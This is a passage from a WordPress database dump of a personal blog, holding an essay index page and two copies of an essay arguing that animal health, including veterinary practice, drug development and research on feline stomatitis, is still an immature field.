-->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:02:06','2025-07-03 19:02:06','',22,'https://trevorklee.com/?p=472',0,'revision','',0),
(473,1,'2025-07-03 19:12:47','2025-07-03 19:12:47','<!-- wp:paragraph -->\n<p>For a long time, animals were treated a lot like machinery in America. Dogs were there to guard, hunt, and provide companionship; horses were there to ride; cats were there to catch mice. Animal food was treated much like fuel, with consumers looking to get the most bang for their buck when it came to buy. Animal diseases were like a mechanical failure: fix them if they’d be cheap to fix, throw them out if they’d be expensive. Veterinarians were like mechanics, and as long as they weren’t actively cheating the customer, they were ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TdXi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd5ebec1-2a06-48d2-991b-5ce7af919448_470x564.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TdXi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd5ebec1-2a06-48d2-991b-5ce7af919448_470x564.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Oh, Far Side. Funny enough, Gary Larson has another comic with&nbsp;<a href=\"https://images.app.goo.gl/5aknZnbewP3jCMmA6\">almost the exact same punchline</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is not true anymore. We live in a world where people spend $50k on cloning their dogs<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-1-146513636\">1</a>, the best-selling animal drugs in the world make your dog less itchy<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-2-146513636\">2</a>, and a premium pet food company started in 2015 can make $1 billion/year<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-3-146513636\">3</a>. Dogs and cats are members of the family and are treated as such.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The world of animal health moves slower than the world of animal sentiment, though. This is not just true of animal drug regulations, which, as I mentioned previously, are more lax than human drug regulations. This is true across the board for all sides of animal health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take vets, for instance. They are still far away from being the same as human health doctors. For one thing, specialization in veterinary health is rare and many vets are suspicious of it. Many vets, especially older vets, feel confident handling all aspects of a dog’s, cat’s, or horse’s health, from orthopedic surgery to dentistry. Meanwhile, many PCPs don’t feel confident prescribing drugs they’re unfamiliar with or that have any possible side effects, even safe drugs like Ozempic<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-4-146513636\">4</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The same is true for marketing in vet health. There’s no such thing as HIPAA for vets, for obvious reasons, and vets can legally get kickbacks from the drugs and services they prescribe, subject to some limitations<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-5-146513636\">5</a>. Vets therefore have incentives to prescribe animals all sorts of unnecessary procedures and drugs, which the animal health companies are free to set up for them and profit from them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s just on the vet side. Animal health is also in its infancy on the pharmaceutical side. The vast majority of animal drugs are repurposed human drugs (probably about 90%), and most of the rest are vaccines or flea and tick medications. The number of drugs that are developed specifically for animal diseases is small, although growing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When it comes to the pharmaceutical companies, those are also immature. There are probably only 4 or 5 animal health companies that have the capability to even develop drugs from start to finish. The rest just repurpose human drugs or reformulate old animal drugs. In fact, multiple times I have found myself in the interesting position of informing large animal health companies ($100m+/revenue) how exactly animal drugs are developed, including the relevant regulations. They literally do not know how to make drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, the research side of animal health is very well developed. There are tons of great universities working hard on innovative animal health — just kidding. The research side is almost nonexistent. Almost all the research that goes on in animal health is part of human health efforts or just basic research, like using dogs as cancer models, macaques as aging models, or&nbsp;<a href=\"https://en.wikipedia.org/wiki/Chinese_hamster_ovary_cell#:~:text=Chinese%20hamster%20ovary%20(CHO)%20cells,production%20of%20recombinant%20therapeutic%20proteins.\">Chinese hamsters for recombinant proteins</a>&nbsp;(like insulin).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only a few universities that do animal research for the animals’ sake, and, of those, I’d say UC Davis is the only university that gets close to a human health standard. This can get very frustrating. For one of the diseases that my company is focusing on, feline stomatitis, there is only one guy actually studying it in an academic sense (and he is, of course, at UC Davis), and he is under contract with a startup who’s working on stem cells for feline stomatitis<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-6-146513636\">6</a>. So, he was unable to do any consulting for my company, leaving us with zero people who could be “Key Opinion Leaders”, or KOLs, for the product.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plus side is that somehow left me as one of the world’s foremost experts on this actually pretty common, serious feline disease<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-7-146513636\">7</a>, given that I have spent more time thinking about it and researching it than almost anyone else in the world. I regularly inform both veterinarians and executives at major animal health companies about the disease and how it works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, this is a bit of a silly situation. For every human disease that affects more than 1000 people there are at least 20 MDs and PhDs who have spent huge parts of their career researching this disease. But a disease that affects over 1 million cats a year? There’s only one PhD who’s spending a lot of time on it, and he’s under contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think this state of affairs will last forever. This field is growing and maturing, and regulators, industry, and academics are growing and maturing along with it. I don’t think we’re going back to the bad old days of Far Side horse medicine anytime soon. In fact, my hope (and company business plan) is that we’ll soon see better drugs in animals than humans, spurred by easier regulations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that growth is still in the future. For right now, it’s still just the beginning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-1-146513636\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not recommended, by the way. You are not guaranteed to get the same dog, personality-wise. Why this is would be an interesting story for another time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-2-146513636\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apoquel and Cytopoint, two biologics for atopic dermatitis both owned by Zoetis, selling $1.3 billion/year. For comparison, Keytruda is the best-selling human drug, and sells $25 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-3-146513636\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Farmer’s Dog, which costs $250/month. For the record, I feed my dog Orijen, another premium pet food, which costs only $90/month. Every time he refuses to eat it and begs for my food instead I feel a pain in my wallet.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-4-146513636\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>True story: a friend of mine went to his PCP to try to get Ozempic prescribed. First, they prescribed him metformin. This, of course, failed to make him lose weight. Then the PCP sent him to a weight loss clinic, which prescribed him liraglutide, which, of course, also failed to make him lose weight. This same weight loss clinic made him sit through a 45 minute presentation on the glories of gastric bypass surgery. After this experience, my friend gave up and just decided to intermittently fast, which, so far, has actually worked quite well for him. He’s lost over 100 pounds!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-5-146513636\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They also tend to do a lot of stuff in-house, like the dentistry work mentioned above, even when maybe they shouldn’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-6-146513636\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is total nonsense, of course, like most stem cell stuff. I think, by this point, people have recognized that injecting stem cells into injured tissue and expecting a miracle is nonsense for human health, but somehow that approach still survives in animal health and can get the only KOL in a disease locked up in an exclusivity contract. Blame that on the immaturity of animal health as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-7-146513636\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The literature estimates between 0.5 and 12% of cats have feline stomatitis, which is a hilariously wide estimate that again points to the immaturity of animal health as a field. Like, seriously, if a cat has a bloody mouth and won’t eat or drink, he has feline stomatitis. It’s not exactly hard to diagnose. My personal estimate is that about 1% of cats get it in any given year, based on some back-of-the-envelope calculations and a bunch of conversations with vets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/152746470-kazzius\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/10447466-ls\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/152559154-alex-scorer\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/240556-auros\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/219978959-mashstars\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>6 Likes</a>∙</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/note/p-146513636/restacks?utm_source=substack&amp;utm_content=facepile-restacks\">1 Restack</a></p>\n<!-- /wp:paragraph -->','Animal health is still in its infancy','','publish','closed','closed','','animal-health-is-still-in-its-infancy','','','2025-07-03 19:12:47','2025-07-03 19:12:47','',0,'https://trevorklee.com/?page_id=473',0,'page','',0),
(474,1,'2025-07-03 19:12:47','2025-07-03 19:12:47','<!-- wp:paragraph -->\n<p>For a long time, animals were treated a lot like machinery in America. Dogs were there to guard, hunt, and provide companionship; horses were there to ride; cats were there to catch mice. Animal food was treated much like fuel, with consumers looking to get the most bang for their buck when it came to buy. Animal diseases were like a mechanical failure: fix them if they’d be cheap to fix, throw them out if they’d be expensive. Veterinarians were like mechanics, and as long as they weren’t actively cheating the customer, they were ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TdXi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd5ebec1-2a06-48d2-991b-5ce7af919448_470x564.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TdXi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd5ebec1-2a06-48d2-991b-5ce7af919448_470x564.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Oh, Far Side. Funny enough, Gary Larson has another comic with&nbsp;<a href=\"https://images.app.goo.gl/5aknZnbewP3jCMmA6\">almost the exact same punchline</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is not true anymore. We live in a world where people spend $50k on cloning their dogs<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-1-146513636\">1</a>, the best-selling animal drugs in the world make your dog less itchy<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-2-146513636\">2</a>, and a premium pet food company started in 2015 can make $1 billion/year<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-3-146513636\">3</a>. Dogs and cats are members of the family and are treated as such.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The world of animal health moves slower than the world of animal sentiment, though. This is not just true of animal drug regulations, which, as I mentioned previously, are more lax than human drug regulations. This is true across the board for all sides of animal health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take vets, for instance. They are still far away from being the same as human health doctors. For one thing, specialization in veterinary health is rare and many vets are suspicious of it. Many vets, especially older vets, feel confident handling all aspects of a dog’s, cat’s, or horse’s health, from orthopedic surgery to dentistry. Meanwhile, many PCPs don’t feel confident prescribing drugs they’re unfamiliar with or that have any possible side effects, even safe drugs like Ozempic<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-4-146513636\">4</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The same is true for marketing in vet health. There’s no such thing as HIPAA for vets, for obvious reasons, and vets can legally get kickbacks from the drugs and services they prescribe, subject to some limitations<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-5-146513636\">5</a>. Vets therefore have incentives to prescribe animals all sorts of unnecessary procedures and drugs, which the animal health companies are free to set up for them and profit from them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s just on the vet side. Animal health is also in its infancy on the pharmaceutical side. The vast majority of animal drugs are repurposed human drugs (probably about 90%), and most of the rest are vaccines or flea and tick medications. The number of drugs that are developed specifically for animal diseases is small, although growing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When it comes to the pharmaceutical companies, those are also immature. There are probably only 4 or 5 animal health companies that have the capability to even develop drugs from start to finish. The rest just repurpose human drugs or reformulate old animal drugs. In fact, multiple times I have found myself in the interesting position of informing large animal health companies ($100m+/revenue) how exactly animal drugs are developed, including the relevant regulations. They literally do not know how to make drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, the research side of animal health is very well developed. There are tons of great universities working hard on innovative animal health — just kidding. The research side is almost nonexistent. Almost all the research that goes on in animal health is part of human health efforts or just basic research, like using dogs as cancer models, macaques as aging models, or&nbsp;<a href=\"https://en.wikipedia.org/wiki/Chinese_hamster_ovary_cell#:~:text=Chinese%20hamster%20ovary%20(CHO)%20cells,production%20of%20recombinant%20therapeutic%20proteins.\">Chinese hamsters for recombinant proteins</a>&nbsp;(like insulin).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only a few universities that do animal research for the animals’ sake, and, of those, I’d say UC Davis is the only university that gets close to a human health standard. This can get very frustrating. For one of the diseases that my company is focusing on, feline stomatitis, there is only one guy actually studying it in an academic sense (and he is, of course, at UC Davis), and he is under contract with a startup who’s working on stem cells for feline stomatitis<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-6-146513636\">6</a>. So, he was unable to do any consulting for my company, leaving us with zero people who could be “Key Opinion Leaders”, or KOLs, for the product.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plus side is that somehow left me as one of the world’s foremost experts on this actually pretty common, serious feline disease<a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-7-146513636\">7</a>, given that I have spent more time thinking about it and researching it than almost anyone else in the world. I regularly inform both veterinarians and executives at major animal health companies about the disease and how it works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, this is a bit of a silly situation. For every human disease that affects more than 1000 people there are at least 20 MDs and PhDs who have spent huge parts of their career researching this disease. But a disease that affects over 1 million cats a year? There’s only one PhD who’s spending a lot of time on it, and he’s under contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think this state of affairs will last forever. This field is growing and maturing, and regulators, industry, and academics are growing and maturing along with it. I don’t think we’re going back to the bad old days of Far Side horse medicine anytime soon. In fact, my hope (and company business plan) is that we’ll soon see better drugs in animals than humans, spurred by easier regulations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that growth is still in the future. For right now, it’s still just the beginning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-1-146513636\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not recommended, by the way. You are not guaranteed to get the same dog, personality-wise. Why this is would be an interesting story for another time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-2-146513636\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apoquel and Cytopoint, two biologics for atopic dermatitis both owned by Zoetis, selling $1.3 billion/year. For comparison, Keytruda is the best-selling human drug, and sells $25 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-3-146513636\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Farmer’s Dog, which costs $250/month. For the record, I feed my dog 